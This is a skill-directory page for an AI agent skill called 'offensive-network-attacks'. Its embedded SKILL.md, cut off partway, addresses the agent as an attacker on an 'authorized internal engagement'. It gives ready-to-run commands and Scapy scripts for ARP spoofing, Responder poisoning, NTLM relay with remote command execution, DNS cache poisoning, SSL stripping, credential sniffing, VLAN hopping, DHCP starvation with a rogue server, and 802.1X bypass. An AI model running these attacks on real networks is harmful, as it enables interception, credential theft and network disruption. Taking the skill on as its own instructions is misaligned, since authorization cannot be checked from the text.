offensive-network-attacks
Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-network-attacksInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
AI & Machine LearningSupported Platforms
Our assessment of offensive-network-attacks
offensive-network-attacks scores 96/100 on our quality scale, 61st of 705 AI & Machine Learning skills we index (top 9%).
Its SKILL.md is 20 KB long, well organised into 59 sections with 30 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 6 days ago, so offensive-network-attacks is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-network-attacks compared with similar skills
All 4 of these similar skills score higher than offensive-network-attacks; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-network-attacks (this skill)by SnailSploit | 96 | 6.8k | 6d ago | SKILL.md |
| claude-memby thedotmack | 100 | 94.7k | today | CLAUDE.md |
| Understand-Anythingby Egonex-AI | 100 | 84.2k | 14d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 73.8k | today | CLAUDE.md |
| CowAgentby zhayujie | 100 | 47.1k | today | CLAUDE.md |
Frequently asked questions
- How do I install offensive-network-attacks?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-network-attacks. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-network-attacks work with?
- It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-network-attacks safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-network-attacks still maintained?
- The repository was last updated 6 days ago, so offensive-network-attacks is actively maintained.
Skill content
View source on GitHubname: offensive-network-attacks description: "Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040. Use when conducting internal network assessments or testing Layer 2/3 attack surface."
Network Attacks (Layer 2/3) -- Offensive Methodology
You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.
Quick Workflow
- Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
- Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
- Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
- Enable Responder poisoning to capture NTLMv2 hashes.
- Relay captured hashes with ntlmrelayx against hosts without SMB signing.
- ARP spoof the gateway for targeted MITM and credential interception.
- Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
- Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.
ARP Spoofing
ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.
Bettercap ARP Module
sudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof on
arpspoof and Ettercap
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)
# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1// # with filter
Gratuitous ARP with Scapy
from scapy.all import Ether, ARP, sendp
import time
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
sendp(pkt, iface="eth0", verbose=False)
time.sleep(2)
Bypassing Static ARP Entries
Static entries block standard poisoning. Workarounds: overflow the ARP table so the host falls back to dynamic resolution; redirect at Layer 3 via DHCP/DNS attacks; or use VLAN hopping to attack from a segment without static entries.
LLMNR / NBT-NS / mDNS Poisoning
When DNS fails, Windows falls back to LLMNR (UDP 5355), NBT-NS (UDP 137), and mDNS (UDP 5353). You answer these broadcast queries with your IP, forcing victims to authenticate to your rogue services.
Responder Setup and Hash Capture
sudo responder -I eth0 -A # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt # NTLMv1 (weaker)
WPAD is a high-value vector: browsers query for wpad.dat via DNS then LLMNR/NBT-NS. The -w flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.
Inveigh (Windows-Native)
From a compromised Windows host, poison without dropping Linux tools:
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y # C# binary avoids PS logging
NTLMv1/v2 Relay with ntlmrelayx
When cracking fails, relay captured authentication to targets without SMB signing. Disable SMB and HTTP in Responder.conf first -- ntlmrelayx handles those protocols.
nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami" # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
--escalate-user attacker --delegate-access # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController # ADCS ESC8
Trigger authentication via Responder poisoning, PetitPotam, PrinterBug, or DFSCoerce.
DNS Poisoning
DNS attacks redirect traffic at the application layer. You do not need Layer 2 adjacency if you control the resolution path.
Rogue DNS Server via DHCP Option 6
After DHCP starvation or on a network without DHCP snooping, deploy dnsmasq with your IP as DNS (option 6):
# /etc/dnsmasq-rogue.conf:
# interface=eth0
# dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
# dhcp-option=3,10.0.0.99 # gateway
# dhcp-option=6,10.0.0.99 # DNS
# address=/intranet.corp.local/10.0.0.99
# server=8.8.8.8
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
DNS Cache Poisoning with Scapy
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random
# Flood spoofed responses -- must match in-flight query txid and src port
for txid in range(1, 65535):
pkt = IP(dst="10.0.0.2", src="8.8.8.8") / \
UDP(sport=53, dport=random.randint(1024, 65535)) / \
DNS(id=txid, qr=1, aa=1, qd=DNSQR(qname="intranet.corp.local"),
an=DNSRR(rrname="intranet.corp.local", rdata="10.0.0.99", ttl=86400))
send(pkt, verbose=False)
Modern resolvers randomize source ports and transaction IDs. Practical Kaminsky-style poisoning requires matching both fields simultaneously.
DNS Rebinding
Bypass same-origin policy by toggling a DNS record between your server and an internal IP:
# singularity framework: first resolution serves JS payload, second returns internal target
./singularity -DNSRebindStrategy DNSRebindFromRequest \
-ResponseIPAddr 10.0.0.99 -ResponseReboundIPAddr 192.168.1.1
Man-in-the-Middle (MITM)
Once positioned between victim and gateway (via ARP spoof, DHCP redirect, or tap), intercept and modify traffic.
Bettercap HTTP Proxy and SSL Strip
sudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff on
HSTS Bypass with sslstrip+ and dns2proxy
sslstrip+ rewrites domain names (e.g., accounts.google.com to accountss.google.com) so the browser never applies HSTS. dns2proxy resolves rewritten domains to real IPs.
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0 # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log # terminal 4
Credential Interception from Proxied Traffic
tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
-T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0 # real-time credential sniffer
VLAN Hopping
Switch Spoofing (DTP Negotiation)
If the switch port is in dynamic auto/desirable mode (common Cisco default), negotiate a trunk:
sudo yersinia dtp -attack 1 -interface eth0 # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100 # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 up
Double Tagging (802.1Q)
Works when you are on the native VLAN and the switch strips only the outer tag. Unidirectional -- you send into the target VLAN but responses route normally and will not reach you.
from scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendp
# Outer tag = native VLAN (1), inner tag = target VLAN (100)
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
Dot1Q(vlan=1) / Dot1Q(vlan=100) / IP(dst="10.100.0.50") / ICMP()
sendp(pkt, iface="eth0")
# Double-tagged ARP poisoning into target VLAN
arp_poison = Ether(dst="ff:ff:ff:ff:ff:ff") / Dot1Q(vlan=1) / Dot1Q(vlan=100) / \
ARP(op=2, psrc="10.100.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.100.0.50")
sendp(arp_poison, iface="eth0", count=10, inter=2)
Yersinia Layer 2 Attacks
sudo yersinia stp -attack 4 -interface eth0 # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0 # CDP flood (Cisco switches)
DHCP Attacks
DHCP Starvation
Exhaust the pool so legitimate clients cannot get addresses:
sudo dhcpstarv -i eth0 # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0 # Yersinia alternative
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random
for i in range(500):
mac = str(RandMAC())
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
sendp(pkt, iface="eth0", verbose=False)
Rogue DHCP Server for Gateway Redirect
After starvation, offer leases with your IP as gateway and DNS:
# /etc/dnsmasq-rogue.conf: interface=eth0, dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
# dhcp-option=3,10.0.0.99 (gateway) dhcp-option=6,10.0.0.99 (DNS) dhcp-authoritative
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
802.1X / NAC Bypass
MAB Bypass (MAC Spoofing)
If NAC uses MAC Authentication Bypass for printers/VoIP phones, spoof an authorized MAC:
sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0
Hub / Bridge Insertion
Bridge between an authenticated device and the switch port. 802.1X authenticates the port, not individual MACs -- your traffic shares the authenticated session:
sudo ip link add name br0 type bridge
sudo ip link set eth0 master br0 # eth0 to switch
sudo ip link set eth1 master br0 # eth1 to authenticated device
sudo ip link set br0 up
Certificate Impersonation
If EAP-TLS is used and the RADIUS server does not validate the CA chain strictly:
openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crt
# wpa_supplicant config: key_mgmt=IEEE8021X, eap=TLS, identity="PRINTER01", certs as above
sudo wpa_supplicant -i eth0 -D wired -c /etc/wpa_supplicant/wired.conf
NAC Profiling Evasion
Match expected device fingerprint -- OUI, DHCP hostname, TCP stack:
sudo macchanger -m 00:1A:4B:XX:XX:XX eth0 # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0 # expected
Truncated for display — read the full file on GitHub.
Related Skills
claude-mem
94.7kPersistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
Understand-Anything
84.2kGraphs that teach > graphs that impress. Turn any code into an interactive knowledge graph you can explore, search, and ask questions about. Works with Claude Code, Codex, Cursor, Copilot, Gemini CLI, and more.
headroom
73.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
CowAgent
47.1kOpen-source super AI assistant & Agent Harness. Plans tasks, runs tools and skills, self-evolves with memory and knowledge. Multi-agent, multi-model, multi-channel. Lightweight, extensible, one-line install.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
